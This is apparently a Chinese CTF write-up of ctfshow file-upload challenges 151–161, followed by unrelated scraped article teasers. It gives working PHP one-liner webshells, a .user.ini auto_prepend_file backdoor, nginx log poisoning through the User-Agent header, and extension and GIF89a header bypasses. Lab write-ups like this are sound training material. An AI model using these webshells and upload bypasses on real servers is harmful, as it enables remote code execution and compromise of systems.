ctfshow 文件上传 151-161
文件上传也好久没做了。。
手很生了
151 前端绕过
只能上传png文件

使用bp抓包,修改文件名后缀为php

上传成功,发现文件上传路径
使用蚁剑连接
找到flag
152

152 后端校验
跟上一关一样
@ 表示后面即使执行错误,也不报错
抓包修改文件后缀名

蚁剑
153 .user.ini绕过
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,通常用这个文件来构造后门和隐藏后门。
利用.user.ini,要求目标目录下必须包含php文件,这题的目标目录有一个index.php文件
.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。
我们先上传一个内容为auto_prepend_file=1.png的png文件,意思就是使1.png包含在目标目录的php文件中,然后再上传一句话木马(1.png),蚁剑访问url/upload/index.php连接成功
先上传一个png文件,然后修改文件名还有内容
auto_prepend_file=1.png
first 先上传1.png(不然传不上)
然后修改内容与文件名,上传.user.ini

然后上传1.png木马

访问一下看看,已经上传成功
用蚁剑连接 /index.php
154 短标签绕过+.user.ini绕过

上传1.png
短标签
<?= eval($_POST[1]);?>
<? eval($_POST[1]);?>
<% eval($_POST[1]);%>
传参访问一下看看

蚁剑

155 同154

懒得连接了,直接命令执行
1=system('tac ../flag.php');

156 过滤[]
使用原来的段标签没有上传成功
说是因为[]被过滤了
把[]改成{}
上传成功

命令执行
157 命令执行
一样先上传.user.ini

这里发现{}也被过滤了
只能直接命令执行
<?= `tac ../flag*`?>

访问一下

158 命令执行

还是命令执行
159 命令执行

160 日志包含绕过
空格被过滤了

Nginx日志的默认路径:
/var/log/nginx/
<?=include"/var/lo"."g/nginx/access.lo"."g"?> (log被过滤)
在UA头写一句话木马
<?php system('tac ../flag*');?>

直接访问/index.php
161 文件头绕过
发现直接这样传不上

需要加GIF89a 才能上传成功
1.png也是一样的,加个GIF89a图片头

直接访问,就有flag
相关文章:
ctfshow 文件上传 151-161
文件上传也好久没做了。。 手很生了 151 前端绕过 只能上传png文件 使用bp抓包,修改文件名后缀为php 上传成功,发现文件上传路径 使用蚁剑连接 找到flag 152 152 后端校验 跟上一关一样 表示后面即使执行错误,也不报错 抓包修改文件…...
Selenium浏览器自动化测试框架简单介绍
selenium简介 介绍 Selenium [1] 是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。支持的浏览器包括IE(7, 8, 9, 10, 11),Mozilla Firefox,Safari,Google …...
bclinux aarch64 ceph 14.2.10 文件存储 Ceph File System, 需要部署mds: ceph-deploy mds
创建池 [rootceph-0 ~]# ceph osd pool create cephfs_data 64 pool cephfs_data created [rootceph-0 ~]# ceph osd pool create cephfs_metadata 32 pool cephfs_metadata created cephfs_metadata 64 报错 官方说明: 元数据池通常最多可容纳几 GB 的数据。为…...
【微前端】micro-app搭建项目实战
主应用 1、安装依赖 npm i micro-zoe/micro-app --save 2、初始化micro-app import microApp from ‘micro-zoe/micro-app’ microApp.start() 项目环境 vue3 ts 主应用实例 // main.ts 1.引入插件 import microApp from ‘micro-zoe/micro-app’ 2.初始化插件 microApp.star…...
C语言——分割单向链表
本文的内容是使用C语言分割单向链表,给出一个链表和一个值,要求链表中小于给定值的节点全都位于大于或等于给定值的节点之前,打印原始链表的所有元素和经此操作之后链表的所有元素。 分析:本题只是单向链表的分割,不涉…...
台式电脑的IP地址在哪里?解密台式电脑网络连接的秘密!
如今智能手机和便携式笔记本电脑盛行的时代,台式电脑似乎逐渐被人们所忽视。然而,对于需要高性能和大容量存储的用户来说,台式电脑依然是最好的选择。而作为一款能够连接网络的设备,台式电脑也有自己独特的IP地址。下面虎观代理…...
设计模式案例 (三)
文章目录 系列文章目录前言一、单例模式懒汉模式case 包饿汉模式case 包懒汉模式枷锁case 包 系列文章目录 第一章 设计模式案例 (一) 第二章 设计模式案例 (二) 第三章 设计模式案例 (二) 文章目录 系列文章目录前言一、单例模式懒汉模式case 包饿汉模…...
JZ22:链表中倒数第k个结点
JZ22:链表中倒数第k个结点 题目描述: 输入一个链表,输出该链表中倒数第k个结点。 示例1 输入: 1,{1,2,3,4,5} 返回值: {5} 分析: 快慢指针思想: 需要两个指针,快指针fast&…...
python的高性能web应用的开发与测试实验
引言 python语言一直以开发效率高著称,被广泛地应用于自动化领域: 测试自动化运维自动化构建发布自动化 但是因为其也具有如下两个特征: 解释型语言GIL全局解释器锁 前者导致其性能天然就被编译型语言在性能上落后了许多。而后者则在多核…...
除了http还有哪些通信协议?
除了HTTP协议外,还存在许多其他通信协议。以下是一些常见的通信协议: 1:HTTPS:HTTPS(HTTP Secure)是HTTP的安全版本,通过使用SSL(Secure Sockets Layer)或TLS࿰…...
基于遗传算法的图像重建
图像重建涉及从图像的有限信息中恢复出可能丢失或受损的信息。使用遗传算法进行图像重建的一般思路是调整某些参数或者操作,以使得图像的质量或者特定的性能指标最优化。 以下是一个简单的图像重建的遗传算法示例,以模拟重建一个被模糊的图像。 图像重…...
【Redis】Redis-Key的使用
上一篇: redis-server和redis-cli https://blog.csdn.net/m0_67930426/article/details/134361885?spm1001.2014.3001.5501 官网 命令 |雷迪斯 (redis.io) 设置key set name xxxxx 查看key keys * 再设置一个key并且查看 这里查看了两个key(name a…...
为忙碌的软件工程师精心准备的编码面试准备材料,超过 100,000 人受益!
这是一个针对技术面试准备的手册。它收集了大量的面试问题和答案,涵盖了算法、系统设计、前端等主题,并且还在不断更新和完善中。 这个项目是“Tech Interview Handbook”,解决了求职者在技术面试中遇到的各种难题,帮助他们更好地…...
SpringCloud Alibaba(上):注册中心-nacos、负载均衡-ribbon、远程调用-feign
Nacos 概念:Nacos是阿里巴巴推出的一款新开源项目,它是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。Nacos致力于帮助用户发现、配置和管理微服务,它提供了一组简单易用的特性集,包括动态服务发现、服务配置…...
基于乌鸦算法优化概率神经网络PNN的分类预测 - 附代码
基于乌鸦算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于乌鸦算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于乌鸦优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要:针对PNN神经网络的光滑…...
Jenkins中强制停止停不下来的job
# Script console 执行脚本 Jenkins 的提供了 script console 的功能,允许你写一些脚本,来调度 Jenkins 执行一些任务。 我们就可以利用 script console 来强制停止 job 执行。 首先进入 Jenkins 的 script console 页面: script console 路…...
北邮22级信通院数电:Verilog-FPGA(9)第九周实验(1)实现带同步复位功能、采用上升沿触发的D触发器
北邮22信通一枚~ 跟随课程进度更新北邮信通院数字系统设计的笔记、代码和文章 持续关注作者 迎接数电实验学习~ 获取更多文章,请访问专栏: 北邮22级信通院数电实验_青山如墨雨如画的博客-CSDN博客 目录 一.顶层模块的书写 二.两种验证方法 2.1使用…...
go中的rune类型
go语言中 ,rune其实是一种int32的数据类型的别名。 // rune is an alias for int32 and is equivalent to int32 in all ways. It is // used, by convention, to distinguish character values from integer values. type rune int32rune通常用于处理字符串中的单…...
C51--PC通过串口(中断)点亮LED
B4中的:REN允许 / 禁止串行接收控制位 REN 1为允许串行接收状态。 接收数据必须开启。所以SCON:0101 0000 ;即0x50 如何知道数据已经接收 RI位:当收到数据后 RI 1(由硬件置一) 硬件置一后必须用软件…...
使用pixy计算群体遗传学统计量
1 数据过滤 过滤参数:过滤掉次等位基因频率(minor allele frequency,MAF)低于0.05、哈达-温伯格平衡(Hardy– Weinberg equilibrium,HWE)对应的P值低于1e-10或杂合率(heterozygosit…...
调用支付宝接口响应40004 SYSTEM_ERROR问题排查
在对接支付宝API的时候,遇到了一些问题,记录一下排查过程。 Body:{"datadigital_fincloud_generalsaas_face_certify_initialize_response":{"msg":"Business Failed","code":"40004","sub_msg…...
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以? 在 Golang 的面试中,map 类型的使用是一个常见的考点,其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...
pam_env.so模块配置解析
在PAM(Pluggable Authentication Modules)配置中, /etc/pam.d/su 文件相关配置含义如下: 配置解析 auth required pam_env.so1. 字段分解 字段值说明模块类型auth认证类模块,负责验证用户身份&am…...
Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)
引言:为什么 Eureka 依然是存量系统的核心? 尽管 Nacos 等新注册中心崛起,但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制,是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...
Rust 异步编程
Rust 异步编程 引言 Rust 是一种系统编程语言,以其高性能、安全性以及零成本抽象而著称。在多核处理器成为主流的今天,异步编程成为了一种提高应用性能、优化资源利用的有效手段。本文将深入探讨 Rust 异步编程的核心概念、常用库以及最佳实践。 异步编程基础 什么是异步…...
10-Oracle 23 ai Vector Search 概述和参数
一、Oracle AI Vector Search 概述 企业和个人都在尝试各种AI,使用客户端或是内部自己搭建集成大模型的终端,加速与大型语言模型(LLM)的结合,同时使用检索增强生成(Retrieval Augmented Generation &#…...
【C++特殊工具与技术】优化内存分配(一):C++中的内存分配
目录 一、C 内存的基本概念 1.1 内存的物理与逻辑结构 1.2 C 程序的内存区域划分 二、栈内存分配 2.1 栈内存的特点 2.2 栈内存分配示例 三、堆内存分配 3.1 new和delete操作符 4.2 内存泄漏与悬空指针问题 4.3 new和delete的重载 四、智能指针…...
CRMEB 中 PHP 短信扩展开发:涵盖一号通、阿里云、腾讯云、创蓝
目前已有一号通短信、阿里云短信、腾讯云短信扩展 扩展入口文件 文件目录 crmeb\services\sms\Sms.php 默认驱动类型为:一号通 namespace crmeb\services\sms;use crmeb\basic\BaseManager; use crmeb\services\AccessTokenServeService; use crmeb\services\sms\…...
Golang——9、反射和文件操作
反射和文件操作 1、反射1.1、reflect.TypeOf()获取任意值的类型对象1.2、reflect.ValueOf()1.3、结构体反射 2、文件操作2.1、os.Open()打开文件2.2、方式一:使用Read()读取文件2.3、方式二:bufio读取文件2.4、方式三:os.ReadFile读取2.5、写…...
MySQL 索引底层结构揭秘:B-Tree 与 B+Tree 的区别与应用
文章目录 一、背景知识:什么是 B-Tree 和 BTree? B-Tree(平衡多路查找树) BTree(B-Tree 的变种) 二、结构对比:一张图看懂 三、为什么 MySQL InnoDB 选择 BTree? 1. 范围查询更快 2…...
